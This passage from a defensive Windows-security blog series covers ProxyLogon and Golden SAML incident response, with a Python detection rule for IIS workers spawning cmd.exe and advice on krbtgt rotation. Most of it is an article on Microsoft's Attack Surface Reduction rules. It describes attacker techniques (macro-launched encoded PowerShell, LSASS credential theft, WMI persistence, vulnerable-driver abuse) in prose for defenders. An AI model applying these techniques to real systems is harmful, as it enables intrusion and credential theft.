CAOptics was archived read-only by its maintainer in August 2024 with the README note "Project archived due to shifting development priorities" [@caoptics-github]. The tool remains functional and architecturally canonical for the gap-enumeration lane; readers wanting active development for the graph-reachability lane should track SpecterOps's BloodHound CE AzureHound documentation [@bloodhound-azurehound-docs] for the rolling-release collector and BloodHound CE schema updates.

Logic equivalent of a Sigma rule for the ProxyLogon-class web-shell pivot. The rule matches the canonical fingerprint of an IIS worker spawning cmd.exe under the IUSR identity (Exchange front-end shells typically execute under IUSR_ after dropping into IIS).

def matches_proxylogon_pivot(event): return ( event.get('event_id') == 4688 # process creation and event.get('parent_process_name', '').lower().endswith('w3wp.exe') and event.get('process_name', '').lower().endswith('cmd.exe') and (event.get('user_name') or '').lower().startswith('iusr') )

example = { 'event_id': 4688, 'parent_process_name': 'C:\\Windows\\System32\\inetsrv\\w3wp.exe', 'process_name': 'C:\\Windows\\System32\\cmd.exe', 'user_name': 'IUSR_EXCH01', } print('match' if matches_proxylogon_pivot(example) else 'no match') `}

Lane 3: Confirmed-compromise response. A confirmed signed-vendor-update compromise is a vendor-level incident. Rotate every secret the trojanized binary could have read. Treat ADFS token-signing certificates as compromised; rotate them with new private key material on hardware-attested storage where possible. Rotate krbtgt twice per the Microsoft AD Forest Recovery procedure to invalidate any forged Kerberos tickets. Assume Conditional Access policies were bypassed during the active window if Golden SAML was in play; review sign-in logs for the affected federated trust for the full intrusion window.

The double-krbtgt rotation is not paranoia. A single rotation invalidates tickets signed with the prior key; a second rotation, after the configured maximum-ticket-lifetime, ensures the prior-prior key is also retired and no ticket signed with either prior key is still valid. The Microsoft AD Forest Recovery procedure documents the operation explicitly, with a minimum 10-hour wait between resets to exceed the default Maximum-Lifetime-For-User-Ticket and Maximum-Lifetime-For-Service-Ticket policy values [@ms-ad-forest-recovery-krbtgt]. The procedure exists because the second rotation cannot happen until any in-flight ticket with the prior key has expired, and skipping it leaves a window in which forged tickets remain serviceable.

Lane 4: What does not work. The operational anti-patterns the four incidents made expensive.

Note: Patching CVE-2021-26855 alone is insufficient if the web shell was already on disk before the patch -- the patch closes the entry; it does not remove the shell. Rotating krbtgt does not address Golden SAML; Golden SAML is a SAML-token-signing problem, and krbtgt is the Kerberos key. Rotating ADFS token-signing certificates is the corresponding action. Enabling Conditional Access for the identity the attacker forged tokens for is a closed-stable-door fix; Conditional Access enforcement happens at the resource server, and a forged SAML assertion already passed through the identity layer at the moment the resource server checks. Pluton on the workstation does not retroactively protect the Domain Controller -- Pluton is workstation-class silicon in 2023, and Server SKUs are a separate roadmap.

The FAQ closes the audit-flagged premises this article opened with.

11. Frequently Asked Questions

No. The canonical pre-auth chain is three CVEs: CVE-2021-26855 (server-side request forgery) into CVE-2021-26858 or CVE-2021-27065 (arbitrary file write) into an ASPX web shell at SYSTEM [@volexity-exchange-marauder, @tenable-exchange-zd]. CVE-2021-26857 is a separate insecure-deserialization RCE in Exchange Unified Messaging that requires authentication; it sits in a parallel position to the SSRF chain rather than as a fused step. The "four chained zero-days" shorthand collapses two distinct attack-class shapes and obscures the SSRF-as-load-bearing-primitive observation. Microsoft's March 2 advisories cover all four CVEs together because they were patched together, not because they were exploited as a single linear chain. No. See §3.2 Blast radius for the breakdown: Krebs reported "at least 30,000" U.S. organizations pre-patch on March 5 [@krebs-hafnium-march5]; Bloomberg reported "as many as 60,000" worldwide on March 7 [@krebs-hafnium-march5]. The figure that runs toward 250,000 aggregates *post-patch* indiscriminate exploitation by multiple actor groups (LuckyMouse, Tick, Calypso, Winnti, and others, per ESET's March 10 ten-APT-groups analysis [@eset-exchange-10apt-2021]) in the weeks after Microsoft's March 2 advisory; it is not a pre-patch numerator. The product was called Azure AD Identity Protection at the time. Azure AD Conditional Access (the policy engine) and Azure AD Identity Protection (the risk-signal source) were already integrated before 2021; the integration is what makes risk-based Conditional Access policies possible. The "Entra" brand was introduced on May 31, 2022 as a family umbrella in Vasu Jakkal's "Secure access for a connected world--meet Microsoft Entra" announcement on the Microsoft Security Blog [@ms-entra-launch-may2022], and the rename of Azure AD to Microsoft Entra ID -- and therefore of Azure AD Identity Protection to Microsoft Entra ID Protection -- happened on July 11, 2023 [@ms-entra-rebrand]. Citations to the 2021-2022 product should use the Azure AD naming; citations to the current product use Microsoft Entra ID. No. NIST SP 800-207 [@nist-sp-800-207] references BeyondCorp as one production implementation of Zero Trust principles, alongside other implementations and prior architectural work. The document is a vendor-neutral synthesis of Kindervag's 2010 Forrester framing [@kindervag-2010-forrester], Forrester's ZTX taxonomy, Gartner's CARTA continuous-evaluation framing, federal TIC guidance, and BeyondCorp's worked example. "Zero Trust" predates BeyondCorp -- Kindervag coined the term in September 2010, four years before Ward and Beyer's first BeyondCorp paper [@ward-beyer-2014-usenix]. The marketing-collapsed reading of "Zero Trust equals BeyondCorp" or "Zero Trust equals Microsoft Conditional Access" obscures a thirteen-year intellectual chain. The bug is in Apache Log4j, a Java logging library [@log4j-apache-security], and the affected versions are Log4j 2.0 through 2.14.1. The vulnerability is not Windows-specific. It belongs in this Windows-security series because the most enterprise-impactful exploitation in Windows-server fleets ran through Java applications hosted on Windows: Tomcat, JBoss, VMware vCenter and Horizon, Atlassian Confluence and Jamf Pro on Windows, and dozens of internal Java services running on Windows Server with embedded JREs. The architectural lesson -- that transitive dependency graphs are the new universal attack surface -- applies to every operating system that hosts Java, but Windows fleets were a substantial fraction of the affected population. Both, depending on what is being counted. Pluton was announced on November 17, 2020 [@weston-2020-pluton]. The first commercial PCs to ship with Pluton enabled were the Lenovo ThinkPad Z13 and Z16 with AMD Ryzen 6000 SoCs, announced at CES 2022 on January 4, 2022 [@pluton-windows-blog-jan2022, @lenovo-thinkpad-z-press-jan2022] with general commercial availability starting in May 2022 per Lenovo's StoryHub pricing-and-availability disclosure [@lenovo-thinkpad-z-press-jan2022]. The chipset rollout broadened across 2022-2024 to include AMD Ryzen 7000, 8000, and 9000, Intel Core Ultra 200V and Series 3, and Qualcomm Snapdragon 8cx Gen 3 and X Series processors [@ms-pluton-learn]. Pluton present is not Pluton enabled -- OEMs can disable the processor at the firmware level via PSP directory entry 0xB bit 36 on AMD platforms [@mjg59-pluton] -- so fleet-management claims about Pluton deployment should distinguish "present" from "enabled and acting as the TPM."

The four incidents are the receipt the industry collected on a thirty-six-year-old prediction. The Generation 5 defensive stack is the vocabulary the industry borrowed to talk about what changed. The vocabulary is now sufficient. The trust roots are not. Part 6 picks up the trust-root layer where Generation 5 left it -- Storm-0558 (July 2023), the Microsoft consumer-MSA signing-key compromise that produced enterprise tokens Conditional Access could not distinguish from legitimate ones, and the architectural question it opened: if the policy engine itself is privileged, what closes the compromise of the policy engine as a class?

Attack Surface Reduction Rules: The Quiet Layer That Stopped Office Macros

noreply@paragmali.com (Parag Mali) — Tue, 26 May 2026 00:00:00 GMT

**Attack Surface Reduction (ASR) rules are Microsoft's nineteen-rule, kernel-mediated, free-with-Windows behaviour block list.** Each rule names a single edge in the runtime process / file-system / registry graph -- Office spawning child processes, scripts launching downloaded executables, processes opening LSASS, vulnerable signed drivers being written -- and refuses to let it happen. Shipping since Windows 10 1709 (October 2017) [@ms-security-blog-exploit-guard-2017], the rules killed the cheap end of the Office-macro initial-access chain at the enterprise tier; the Microsoft 365 Apps default block of internet-marked macros (February and July 2022) [@ms-techcommunity-internet-macros-2022] and Europol's Operation LadyBird (January 2021) [@europol-emotet-disrupted-wayback] finished the era at the consumer tier and the C2 tier respectively. The layer is incomplete by construction -- Cohen-1984 undecidability forbids a complete behaviour catalogue [@cohen-1984-part1] -- but it compresses attacker bypass cost so effectively that the SOC routinely does not triage the blocks. Every rule emits a rule-specific Advanced Hunting `ActionType` such as `AsrOfficeChildProcessBlocked`; the folk-knowledge generic `AsrRuleTriggered` does not exist [@ms-learn-asr-reference].

1. One Block, No Analyst Ticket

At 03:42 on a Tuesday morning in Frankfurt, a finance analyst opens an invoice attached to an email that looks like one she has answered fifty times before. The document's Document_Open macro fires, the VBA calls Shell("powershell.exe -enc ..."), and nothing happens. No PowerShell window. No second-stage download. No banking-trojan loader. No ransom note three weeks later. The only artefact is one row in Microsoft Defender for Endpoint's DeviceEvents table, with ActionType equal to AsrOfficeChildProcessBlocked, that no analyst will triage because there is nothing left to triage [@ms-learn-asr-reference].

That row, and the silence around it, is the entire subject of this article.

To understand why nothing happened, watch the call in slow motion. WINWORD.EXE is a long-running user-mode process. The macro's process-creation call crosses the syscall boundary into the kernel's process-management subsystem, where Microsoft Defender Antivirus has registered a process-creation notify routine. Defender's kernel-mode driver WdFilter.sys -- registered with the Windows Filter Manager as a file-system minifilter AND with the kernel's process subsystem via PsSetCreateProcessNotifyRoutineEx -- intercepts the event through its process-creation notify routine before the new process runs and hands it to the user-mode antivirus engine MsMpEng.exe. (Section 5 walks the kernel/user-mode split in full.) MsMpEng.exe evaluates the rule with GUID D4F940AB-401B-4EFC-AADC-AD5F3C50688A -- "Block all Office applications from creating child processes" [@ms-learn-asr-reference]. The predicate evaluates true. The rule is set to Block. The minifilter fails the operation. The macro gets a non-zero error from its process-creation call. The spawn never happens.

A fixed catalogue of behavioural blocks shipped as a feature of Microsoft Defender Antivirus on Windows 10 1709 and later, Windows 11, and supported Windows Server editions. Each rule names a specific runtime behaviour -- "Office applications creating child processes," "credential stealing from the Windows local security authority subsystem," "abuse of exploited vulnerable signed drivers" -- and can be enabled in Audit, Warn, or Block mode through Microsoft Intune, Microsoft Configuration Manager, Group Policy, PowerShell, or the Defender for Endpoint portal. As of May 2026 the catalogue contains nineteen rules: three Standard protection rules and sixteen Other ASR rules [@ms-learn-asr-reference].

Notice what the rule did not do. It did not classify the binary. Both WINWORD.EXE and powershell.exe are signed by Microsoft. Both have multi-decade Authenticode reputation. Both have appeared on every reasonable allow-list since Windows 7. A signature engine, asked "is the macro malicious," would have had to read the macro's bytes, normalise its obfuscation, and decide whether the sequence of Office object-model calls plus a base64 blob constitutes hostile intent. That decision is hard in the easy cases and undecidable in general. The rule sidestepped the whole question. It classified the edge between two perfectly legitimate signed binaries: WINWORD.EXE becoming the parent of powershell.exe. The bytes are not the predicate. The parent-child relationship is.

The folklore that "every ASR block emits ActionType == 'AsrRuleTriggered'" survives in vendor playbooks and Stack Overflow answers but does not match Microsoft Learn's current rules reference, which enumerates a rule-specific Asr<RuleName>Audited and Asr<RuleName>Blocked pair for every rule except the server-only Webshell rule. The canonical Advanced Hunting filter is where ActionType startswith "Asr", not equality against a generic value [@ms-learn-asr-reference].

The Frankfurt analyst's hypothetical Tuesday is one of millions. Defender Antivirus ships on every supported edition of Windows [@ms-learn-asr-reference]. The Office-child-process rule has been blockable since October 2017 [@ms-security-blog-exploit-guard-2017]. It is not the only ASR rule, and ASR is not the only layer that ended the Emotet macro era. Europol's January 27, 2021 takedown and the Microsoft 365 Apps default block of internet macros in February and July 2022 share the credit. But ASR is the layer with the deepest enforcement substrate (a kernel-mode minifilter), the fullest behavioural catalogue (nineteen rules naming specific runtime edges), and the simplest mental model for a defender: name a behaviour, ship an enforcement edge, audit, then block.

Note: Signature engines classify nodes (is this binary malicious?). AppLocker classifies identities (is this binary on the allow-list?). ASR classifies edges in the runtime graph (did this specific parent-child invocation happen?). Section 5 builds the framework. The catalogue in Section 6 reads as nineteen named edges once you see it.

The rest of the article walks the ten questions the Frankfurt block raises. If signatures cannot tell us whether the analyst's macro is malicious -- because both binaries are signed and the static fingerprint of the macro changes every campaign -- how exactly did one row in DeviceEvents know to fire? What does the kernel see that the signature engine does not? Why did three predecessor paradigms (signatures, AppLocker, EMET) fail to close this specific gap, and what made October 2017 the moment Microsoft decided to ship a behaviour catalogue instead of a better classifier? Section 2 starts with the empirical signal that forced the shift.

2. Why Signatures Stopped Being Enough

By the time Microsoft published the October 23, 2017 Windows Defender Exploit Guard launch announcement, the team had a single sentence ready for the executive summary: "fileless attacks, which compose over 50% of all threats" [@ms-security-blog-exploit-guard-2017]. That line did two jobs. It justified shipping ASR. It also marked the moment the signature model hit its industrial-scale ceiling.

Despite advances in antivirus detection capabilities, attackers are continuously adapting ... This emerging trend of fileless attacks, which compose over 50% of all threats, are extremely dangerous, constantly changing, and designed to evade traditional AV. -- Microsoft Threat Intelligence team, October 23, 2017 [@ms-security-blog-exploit-guard-2017]

The 50-percent number is a 2017-vintage Microsoft characterisation, not a peer-reviewed empirical study, but it captures a structural shift that every endpoint-defence vendor had been watching for three years. Three forces had converged.

First, mature crypters and packers had defeated static signatures. The classic AV pipeline -- compute a hash, match against a corpus of known-bad hashes -- assumed attackers shipped a small number of stable binaries. By 2017 the typical commodity malware family rebuilt its payload on every campaign, layered three encryption stages, and emerged as a polymorphic blob whose static fingerprint changed faster than the signature feed. Fred Cohen had warned in 1984 that any complete malicious-program detector reduces to the Halting Problem [@cohen-1984-part1]; commodity packers were the industrial-scale form of that result.

Second, attackers had moved off custom binaries entirely. The Living-Off-the-Land Binaries, Scripts, and Libraries project -- LOLBAS -- catalogues over two hundred Microsoft-signed Windows binaries that attackers use to execute malicious behaviour without dropping any malware artefact on disk [@lolbas-project]. powershell.exe, cmd.exe, wscript.exe, mshta.exe, regsvr32.exe, rundll32.exe, cmstp.exe, msdt.exe, msbuild.exe, installutil.exe -- all signed by Microsoft, all on every reasonable allow-list, all capable of executing arbitrary code given the right command line. The on-disk artefact is benign; the malice lives in the runtime edge between two signed binaries.

A signed Microsoft Windows binary that attackers use to execute malicious behaviour while staying off identity-based allow-lists. The LOLBAS Project enumerates over two hundred such binaries together with the abuse classes each enables and the MITRE ATT&CK techniques each maps to [@lolbas-project].

Third, Office macros had become the dominant initial-access vector. Emotet first appeared as a banking trojan in June 2014; by 2017 it had transformed into a crime-as-a-service loader platform that delivered TrickBot, Dridex, IcedID, and eventually Conti and Ryuk to its access buyers [@welivesecurity-emotet-pivot-2022]. The delivery vehicle barely changed across that pivot: a Word or Excel document, a Visual Basic for Applications macro, a call into Shell, WScript.Shell.Run, or the Windows Management Instrumentation provider to spawn the next stage. The malice was never inside WINWORD.EXE. The malice was in the edge that connected WINWORD.EXE to whichever signed Microsoft binary the operator decided to spawn.

The NTFS alternate data stream `Zone.Identifier` written by browsers, mail clients, and archive extractors to flag a file as originating from outside the local machine. Office uses the MOTW to drop a downloaded document into Protected View; the February 2022 Microsoft 365 Apps internet-macro default block treats the MOTW as the trigger to remove the "Enable Content" button entirely [@ms-learn-internet-macros-blocked].

The pre-2017 defence stack covered slices of this problem, but no layer covered the specific behaviour class "an Office application creates a child process." AV signatures and heuristics scored the binaries; both were signed Microsoft binaries. AppLocker (2009) decided whether a binary was allowed to run; both were on the allow-list. EMET (2009) blocked memory-corruption exploit primitives; the macro chain involved no memory corruption. Reputation-based file blocking covered downloaded payloads; the payload was a base64 string passed on the PowerShell command line, never written to disk. Each layer answered a different question. None answered the question the macro chain raised.

The strategic shift Microsoft eventually made was small in the framing and enormous in the consequences. Instead of asking "is this binary malicious?" -- a question undecidable in general -- the next layer would ask "did the suspicious behaviour happen?" The new question is decidable per event at the OS interception layer, because the kernel sees every process-creation call, every image load, every file write, every registry set. Edge classification does not require static analysis; it requires only that the kernel be wired to ask one extra predicate before completing the operation.

The named author at the bottom of the 2017 launch post body (fetched 2026-05-26) is Misha Kutsovsky (@mkutsovsky), Program Manager, Windows Active Defense. The top-of-page byline and <meta name="author"> tag have since been consolidated under the "Microsoft Threat Intelligence" institutional account during Microsoft's 2022-2025 re-platforming of older Security Blog posts; the in-body attribution is unchanged. This article cites the institutional author as it appears in the page head; the named person at the bottom of the body is Kutsovsky [@ms-security-blog-exploit-guard-2017].

One taxonomy point deserves its own paragraph, because confusion about it shapes most beginner questions about ASR. Microsoft Defender Antivirus is the on-host scanning engine that ships free with every Windows edition. Microsoft Defender for Endpoint (MDE) is the cloud-managed EDR layer Microsoft sells on top. ASR rules live inside Defender Antivirus. They run whether or not the device is enrolled in MDE. MDE adds management, telemetry ingestion through the DeviceEvents table, and Advanced Hunting; it does not add the enforcement. The Frankfurt block fires in Defender Antivirus; the DeviceEvents row only reaches MDE if MDE is connected. The EDR-in-block-mode page is explicit on the dependency: ASR rules run only when Defender Antivirus is in Active mode, never when a third-party AV is primary and Defender is passive [@ms-learn-edr-in-block-mode].

By 2014-2015 the Microsoft Defender team had identified the problem. They did not invent the answer from scratch. They inherited a Windows defence stack that had been trying to solve the same problem for sixteen years, in three earlier paradigms. What were they, and why did none of them stop Emotet?

3. AppLocker, EMET, and What They Could Not Do

Three predecessor paradigms. Three different failures. Three different lessons that Microsoft eventually folded into the design of ASR.

AppLocker (2009, Windows 7)

AppLocker was the identity-based answer to the question "which binaries are allowed to run on this endpoint?" Administrators write rules that allow or deny executable code by publisher, by path, or by file hash; the kernel enforces the policy at process-creation time. Microsoft Learn still describes AppLocker as the Windows 7-era predecessor to App Control for Business, and the design has not changed structurally in the intervening sixteen years [@ms-learn-applocker]. AppLocker is genuinely stricter than ASR on the identity axis. A well-tuned AppLocker policy on a hardened endpoint enforces default-deny: only allowed publishers, only allowed paths, only allowed hashes ever execute.

AppLocker has two practical weaknesses and one structural one. The first practical weakness is brittleness against signed LOLBins: powershell.exe, cmd.exe, wscript.exe, mshta.exe, regsvr32.exe, rundll32.exe, cmstp.exe, msdt.exe, msbuild.exe, installutil.exe are all on every reasonable AppLocker allow-list because every legitimate IT-automation pipeline depends on them [@lolbas-project]. The second is admin-deployment overhead: every new line-of-business application needs an explicit rule addition, large estates fall back to Audit mode permanently, and exception sprawl turns the policy into a sieve.

The structural weakness is the one that matters here. The AppLocker rule grammar has no slot for "WINWORD.EXE may run, but it may not be the parent of cmd.exe." That sentence is a property of an edge in the runtime graph, and the AppLocker schema models nodes, not edges.

EMET (2009-2018)

The Enhanced Mitigation Experience Toolkit was Microsoft's per-process opt-in exploit-time mitigation framework. Data Execution Prevention, Address Space Layout Randomization, Structured Exception Handler Overwrite Protection, the Export Address Table Access Filter, anti-Return-Oriented-Programming heuristics, caller-checks, heap-spray pre-allocation -- EMET stitched the menu together for any process the administrator opted in. EMET stopped buffer overflows from achieving code execution. It made the cheap exploit-development pipeline visibly more expensive.

EMET did not stop the Emotet macro chain. The chain involved no memory corruption. The chain was a legitimately loaded, uncorrupted, signed Office application making a perfectly ordinary user-mode parent-child process-creation call. There was no exploit primitive to mitigate. The 2017 Exploit Guard launch announcement said the same in cleaner language: Exploit Protection (the Windows-integrated pillar that absorbed EMET's mitigations) and Attack Surface Reduction (the new pillar) cover different gaps, because exploit-time mitigations and post-exploit behaviour blocks address different attacker stages [@ms-security-blog-exploit-guard-2017]. EMET reached end-of-life on July 31, 2018 per the Microsoft product lifecycle page [@ms-lifecycle-emet]; its mitigations live on under different names in the Exploit Protection panel of Windows Security.

Signature and heuristic AV

The third predecessor is the one Cohen's 1984 paper had already analysed. Signature and heuristic AV classify nodes, which is to say they answer "is this binary, considered as a sequence of bytes, malicious?" Cohen proved that the general form of that question reduces to the Halting Problem. The verbatim sentence from his open-access archive is the cleanest one-line statement of the result [@cohen-1984-part1]:

The classical result, established in Fred Cohen's 1984 paper "Computer Viruses: Theory and Experiments" (presented at the 7th DoD/NBS Computer Security Conference and reprinted in Computers and Security 6(1):22-35 in January 1987), that detection of arbitrary viral behaviour in a program reduces to the Halting Problem. The diagonal construction assumes a decider `D(P)` for viral behaviour; constructs a program `V` that calls `D(V)` and behaves virally iff `D(V) = 0`; derives a contradiction. The corollary -- any non-trivial semantic property of programs is undecidable -- is the Rice-1953 generalisation [@cohen-1984-part1].

The practical version of the ceiling for the Emotet case is that a signature engine cannot, in general, distinguish a Word macro that legitimately spawns cmd.exe to run an IT-automation script from a Word macro that spawns cmd.exe to launch the Emotet stage-two PowerShell stub. Both call the same Win32 API. Both pass argument strings the engine cannot prove are malicious without modelling the operator's intent. The fingerprint of the malice is not in the binaries; it is in the runtime relationship between them.

The three paradigms -- signature, identity, edge -- are not redundant. Modern defence-in-depth runs all three because each closes a different attacker option. Signatures detect known-bad binaries cheaply; identity controls restrict which binaries may run at all; edge classification refuses specific behavioural relationships among allowed binaries. AppLocker without ASR lets `WINWORD` spawn PowerShell. ASR without AppLocker permits any unsigned binary to ship with the next campaign. Neither alone covers the gap. Section 7 makes the layering explicit as a comparison matrix.

The three together demonstrate that the Windows endpoint defence stack of 2017 was structurally node-classifying or identity-classifying, with no layer modelling the runtime edge. The strategic gap is the slot ASR was designed to fill.

On October 17, 2017, Microsoft shipped Windows 10 Fall Creators Update (build 1709) [@windows-blog-fall-creators-update-2017]. Six days later, the Microsoft Security Blog named the new pillar: Attack Surface Reduction [@ms-security-blog-exploit-guard-2017]. What did the first eight rules do, and how did they finally model the edge that AppLocker, EMET, and signatures could not?

4. The Evolution, Generation by Generation

October 23, 2017. The Microsoft Security Blog publishes "Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware" [@ms-security-blog-exploit-guard-2017]. The post names four pillars: Attack Surface Reduction, Network Protection, Controlled Folder Access, and Exploit Protection. The first pillar ships with eight rules. Nine years later the catalogue is nineteen rules wide. Each generation closed a specific attacker behaviour; each generation produced a published bypass within months.

flowchart TD G1["Gen 1 - Oct 2017 (1709) - 8 Office, script, email rules"] G2["Gen 2 - 2018-2019 (1803-1903) - LSASS, PSExec/WMI, prevalence, Adobe, WMI persistence"] G3["Gen 3 - Apr 2020 - Warn mode added, platform 4.18.2008.9"] G4a["Gen 4a - Dec 2021 / 2022 - BYOVD rule, Vulnerable Driver Reporting Center"] G4b["Gen 4b - Feb/Jul 2022 - Parallel layer, M365 Apps internet-macro default block"] G5["Gen 5 - 2023-2026 - Standard protection partition, Webshell, Safe Mode reboot, copied tools, USB, Outlook child-process rules"] G1 --> G2 --> G3 --> G4a --> G4b --> G5

Generation 1, October 2017 -- the eight launch rules

The launch rules, as listed verbatim in the 2017 announcement, are the Office-macro response pack [@ms-security-blog-exploit-guard-2017]:

Block Office applications from creating executable content
Block Office applications from launching child processes
Block Office applications from injecting into other processes
Block Win32 imports from macro code in Office
Block obfuscated macro code (and other obfuscated scripts, AMSI-backed)
Block JavaScript or VBScript from launching downloaded executable content
Block execution of executable content dropped from email or webmail
Block malicious JavaScript and VBScript scripts (AMSI-backed)

None of these rules solves a node-classification problem. Each rule names a single edge in the runtime process / file-system / registry graph and refuses to let it happen. "Block Office applications from creating child processes" is not "is WINWORD.EXE malicious?" but "did WINWORD.EXE just try to be the parent of another process?" The kernel answers the question with one comparison against the parent image path.

Generation 2, 2018-2019 -- credential theft, lateral movement, persistence

Between Windows 10 1803 (April 2018) and 1903 (May 2019) the catalogue expanded beyond Office to the rest of the attacker intrusion chain. Six new rules with their GUIDs, from the Microsoft Learn rules reference [@ms-learn-asr-reference]:

Block credential stealing from the Windows local security authority subsystem -- 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -- introduced 1803. The Mimikatz response: refuse process handles to lsass.exe with rights sufficient to read its address space.
Block executable files from running unless they meet a prevalence, age, or trusted list criterion -- 01443614-cd74-433a-b99e-2ecdc07bfc25 -- 1803. The unique-binary-per-campaign response, leaning on cloud-protection (MAPS) reputation.
Block process creations originating from PSExec and WMI commands -- d1e49aac-8f56-4280-b9ba-993a6d77406c -- 1803. The Emotet lateral-movement response.
Use advanced protection against ransomware -- c1db55ab-c21a-4637-bb3f-a12568109d35 -- 1803. The mass-encryption-detection response, also cloud-protection-dependent.
Block Adobe Reader from creating child processes -- 7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c -- 1809. The PDF-exploit-spawning-payload response.
Block persistence through WMI event subscription -- e6db77e5-3df2-4cf1-b95a-636979351e5b -- 1903. The APT29 / Cobalt Strike __FilterToConsumerBinding response.

Each rule is a direct response to a specific attacker move. The LSASS rule answers Mimikatz. The PSExec/WMI rule answers Emotet's lateral movement. The WMI persistence rule answers permanent-implant techniques that survive reboot through the WMI repository.

The PSExec/WMI rule (d1e49aac-...) is the textbook example of an ASR rule with high enterprise friction. Microsoft Configuration Manager (formerly SCCM) relies heavily on WMI; Microsoft Learn's overview page explicitly tells administrators not to set this rule to Block or Warn without extensive Audit-mode testing if Configuration Manager manages the device, "because the Configuration Manager client relies heavily on WMI" [@ms-learn-asr-overview]. Most large estates therefore run this rule in Audit indefinitely.

Generation 3, April 2020 -- Warn mode

Until 2020, the only choices for an ASR rule were Audit (logs only) and Block (the operation fails). The middle ground was a productivity problem: a power user whose legitimate IT-automation macro was being blocked had no recourse short of a help-desk ticket. The Microsoft Defender team's "Demystifying attack surface reduction rules - Part 1" Tech Community post, modified time April 22, 2020, announced the third mode -- Warn -- with a user-facing block dialog and a 24-hour per-user per-rule per-app exclusion cache [@techcommunity-demystifying-asr-part1].

Two precision facts deserve to be stated cleanly, because both contradict secondary-source folklore.

First, the platform prerequisite for Warn mode is Microsoft Defender Antivirus platform release 4.18.2008.9 (August 2020) or later, engine release 1.1.17400.5 or later [@ms-learn-asr-overview]. The older secondary-blog claim of "4.18.2001.10 / January 2020" is contradicted by Microsoft Learn's current canonical page and should not be repeated.

Second, exactly two ASR rules deliberately skip Warn mode and go straight from Audit to Block, not five. Microsoft Learn's overview page lists them verbatim: "Block credential stealing from the Windows local security authority subsystem" and "Block Office applications from injecting code into other processes" [@ms-learn-asr-overview]. The folklore that lists five no-Warn rules (sometimes including the Webshell rule, the Safe Mode reboot rule, and the copied-tools rule) is wrong. The rules reference page enumerates Warn-mode bypass ActionType variants for the Safe Mode reboot rule (AsrSafeModeRebootWarnBypassed) and the copied-tools rule (AsrAbusedSystemToolWarnBypassed) -- direct byte-level proof that those rules do support Warn [@ms-learn-asr-reference].

flowchart LR A["Audit - Log only, no enforcement"] --> W["Warn - User can bypass for 24h"] W --> B["Block - Operation fails"] A2["LSASS rule and Office injection rule"] --> A A2 --> B

The reason these two rules skip Warn is structural, not cosmetic. A low-privilege user cannot meaningfully consent to a process opening LSASS memory; the consent dialog would itself be a credential-theft enabler. Likewise, a non-admin user cannot rationally decide whether WINWORD.EXE should be allowed to inject shellcode into explorer.exe; the request encodes its own malice. The remaining sixteen rules support the full Audit, Warn, Block ladder.

Generation 4a, December 2021 -- the BYOVD rule

The 2020-2022 era brought a new attacker move into mainstream incident response: Bring Your Own Vulnerable Driver, or BYOVD. The attacker imports a legitimate, signed, but vulnerable kernel driver, exploits its bug to gain kernel-mode primitives, uses those primitives to disable EDR and antivirus monitoring, and proceeds.

The 2021 motivating events made the threat unambiguous. Lazarus's autumn-2021 abuse of CVE-2021-21551 (Dell dbutil_2_3.sys) was the first recorded in-the-wild abuse of that driver, disclosed by ESET on September 30, 2022 [@welivesecurity-lazarus-byovd-2022] [@nvd-cve-2021-21551]. BlackByte's October 2022 abuse of CVE-2019-16098 (MSI Afterburner RTCore64.sys) was documented by Sophos with one of the year's defining lines: "disabling a whopping list of over 1,000 drivers on which security products rely to provide protection" [@sophos-blackbyte-returns-2022] [@nvd-cve-2019-16098].

An attack pattern in which the operator imports a signed but exploitable kernel driver into the victim environment, exploits a known driver vulnerability to obtain kernel-mode primitives (typically arbitrary memory read or write), and uses those primitives to disable security telemetry. CVE-2021-21551 (Dell DBUtil) and CVE-2019-16098 (MSI Afterburner) are the canonical examples; the Sophos write-up of BlackByte's RTCore64.sys abuse documents disabling roughly one thousand security-product drivers [@nvd-cve-2021-21551] [@nvd-cve-2019-16098] [@sophos-blackbyte-returns-2022].

Microsoft launched the Vulnerable and Malicious Driver Reporting Center on December 8, 2021, explicitly naming the new ASR rule as the enforcement layer alongside the kernel-load-time Vulnerable Driver Blocklist [@ms-security-blog-vulnerable-driver-center]. The ASR rule is "Block abuse of exploited vulnerable signed drivers (Device)" -- GUID 56a863a9-875e-4185-98a7-b882c64b5ce5 [@ms-learn-asr-reference]. The Windows 11 22H2 release on September 20, 2022 [@windows-blog-windows-11-2022-update] made the Microsoft Vulnerable Driver Blocklist default-on for all devices, which is the kernel-load-time sibling to the ASR write-time block [@ms-learn-driver-block-rules].

Generation 4b, February and July 2022 -- the parallel layer

This is the generation that deserves the most honest framing in the article, because the marketing version oversimplifies what actually happened to Office macros.

Tom Gallagher's February 7, 2022 Microsoft 365 Blog post announces the default block of VBA macros in MOTW-internet documents [@ms-techcommunity-internet-macros-2022]. The trust bar removes the "Enable Content" button entirely. Microsoft pauses the rollout on July 8, 2022 for usability adjustments, then resumes on July 20, 2022 -- both dates verifiable from the post's article:modified_time metadata. ESET's June 2022 write-up confirms the intended effect: between April 26 and May 2, 2022 Emotet operators were already testing LNK and ISO replacements for the macro carrier [@welivesecurity-emotet-pivot-2022].

A wide range of threat actors continue to target our customers by sending documents and luring them into enabling malicious macro code. -- Tom Gallagher, Partner Group Engineering Manager, Office Security, February 7, 2022 [@ms-techcommunity-internet-macros-2022]

The Microsoft 365 Apps default block is not a generation of ASR. It is a parallel layer that ships inside Office, runs against every Microsoft 365 Apps installation managed or unmanaged, and uses the MOTW as its trigger rather than the kernel-mode minifilter. It cooperates with ASR; it does not subsume ASR.

The popular "ASR stopped Office macros" claim is half right. The Office-macro era ended through three layers in combination: (1) Europol's Operation LadyBird on January 27, 2021, coordinated international takedown of Emotet's command-and-control infrastructure [@europol-emotet-disrupted-wayback]; (2) ASR's 2017-onward Office rules at the enterprise tier, managed through Intune, Group Policy, or Defender for Endpoint; (3) the Microsoft 365 Apps internet-macro default block at the consumer and tenant tier, default-on for every Microsoft 365 installation since the July 2022 staged rollout [@ms-techcommunity-internet-macros-2022]. ASR is the enterprise-managed layer; it was not the only layer. The polished version of the story names all three.

A coincidence worth noting: Europol's Operation LadyBird seized Emotet's command-and-control infrastructure on January 27, 2021 [@europol-emotet-disrupted-wayback]. SANS Internet Storm Center Diary 27036, published the same day by handler Daniel Wesemann, documented the canonical WMI-grandparent bypass to the Office-child-process ASR rule [@sans-isc-27036-emotet-asr]. A takedown and a bypass landed on the same Wednesday.

